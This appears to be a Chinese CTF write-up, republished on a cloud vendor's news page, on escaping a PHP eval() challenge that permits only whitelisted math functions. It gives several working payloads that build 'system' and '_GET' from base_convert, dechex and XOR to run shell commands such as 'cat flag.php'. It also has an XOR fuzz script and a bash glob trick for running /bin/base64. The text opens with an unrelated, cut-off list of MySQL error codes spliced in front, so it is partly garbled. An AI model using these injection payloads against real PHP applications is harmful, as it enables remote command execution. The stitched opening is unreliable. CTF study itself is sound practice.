(or record file crashed)” “MySQL error code 135: No more room in record file” “MySQL error code 136: No more room in index file” “MySQL error code 137: No more records (read after end of file)” “MySQL error code 138: Unsupported extension used for table” “MySQL error code 139: Too big row” “MySQL error code 140: Wrong create options” “MySQL error code 141: Duplicate unique key or constraint on write or update” “MySQL error code 142: Unknown character set used” “MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table” “MySQL error code 144: Table is crashed and last repair failed” “MySQL error code 145: Table was marked as crashed and should be repaired” “MySQL error code 146: Lock timed out; Retry transaction” “MySQL error code 147: Lock table is full; Restart program with a larger locktable” “MySQL error code 148: Updates are not allowed under a read only transactions” “MySQL error code 149: Lock deadlock; Retry transaction” “MySQL error code 150: Foreign key constraint is incorrectly formed” “MySQL error code 151: Cannot add a child row” “MySQL error code 152: Cannot delete a parent row”
那么這個<A;echo $?
就會輸出 1 了。
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的機會,不斷刷新 /bin/base64
<?php error_reporting(0); //聽說你很喜歡數學,不知道你是否愛它勝過愛flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } //幫你算出答案 eval('echo '.$content.';'); }
這道題也是見過好多次了,但是沒有深究。
首先接收一個c
, 長度還不能大于 80 。還不能有黑名單中的 空格、\t
、\r
、\n
、引號、方括號。然后設置白名單,必須符合。也就是必須輸入白名單中的函數。
做題思路:
首先 php 允許把函數名通過字符串方式傳遞給一個變量,然后通過變量動態調用函數。如$a="abc";$A()
就會執行 abc() 函數。
php 中函數名默認為字符串,可以進行異或。
方法1
想辦法構造$_GET[1]
再傳參getflag,但是其實發現構造這個很難。。。因為$
、_
、[
、]
都不能用,同時GET
必須是大寫,很難直接構造。
base_convert
函數在任意進制之間轉換數字。
可以使用這個函數講其他進制數轉為36進制,而是36進制是包含所有數字和小寫字母的。但終究無法構造GET
大寫字母。但又可以構造其他的小寫字母函數,讓構造的函數轉換。
hexdec()
函數把十六進制轉換為十進制。
dechex()
函數把十進制數轉換為十六進制數。
bin2hex()
函數講 ASCII 字符轉換為十六進制值,字符串可通過 pack() 或者 hex2bin() 函數轉換回去。
hex2bin()
函數把十六進制值得字符轉換為 ASCII 字符。
那么我們就可以想象一下,把_GET
先利用bin1hex()
轉換為 十六進制,在利用hexdec()
轉換為十進制,那么反過來就可以把 一段數字轉換為字符。
但是binhex() hexdec()
等不是白名單的函數,要從哪里來?
這時候就要看base_convert()
得作用了,因為上面的函數都是小寫的,所以可以利用此函數將一個十進制數的數字轉為十六進制的小寫字符。
那么怎么才能直到這個數呢?我們可以先逆向將十六進制字符轉換為十進制數,得到該數字,最終逆向構造即可。
echobase_convert('hex2bin',36,10);
# 得到 37907361743
echobase_convert(37907361743,10,36);
# 反過來就可以得到 hex2bin
在將_GET
反向構造出來:
echobin2hex('_GET');
# 得到 5f474554 將字符轉換為十六進制
echohexdec('5f474554');
# 得到 1598506324 將十六進制轉為十進制。
echodechex(1598506324);
echohex2bin('5f474554');
# 逆向最終得到 _GET
白名單中有dechex()
、hexdec()
函數,但是沒有hex2bin()
、bin2hex()
函數,但是我們可以使用base_convert()
函數構造任意小寫函數。
串起來構造
echobase_convert(37907361743,10,36)dechex(1598506324)
可以用{}
代替[]
構造
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls
# 得到 _GETflag.php index.php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=catflag.php
# 得到 flag
方法2
可以構造getallheaders()
傳參,此是小寫的,可以直接用base_convert
轉換。
狗早:
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(696468,10,36) =>"exec"
$pi(8768397090111664438,10,30) =>"getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中間用逗號隔開,echo都能輸出
echoxx,yy
getallheaders
— Fetch all HTTP request headers
經測試,這里列目錄的時候只能顯示一個文件名,故可以base64編碼后輸出。
1: ls|base64
方法3
直接cat f*
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
方法4
前面都是利用白名單的數學函數將數字轉成字符串,其實也可以異或構造這是fuzz腳本
<?php
$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i=0;$i<9; $i++){
for($j=0;$j<=9;$j++){
$exp=$payload[$k] ^$i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo"<br />";
}
}
}
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
上述就是小編為大家分享的php中如何進行ctfshow命令執行了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。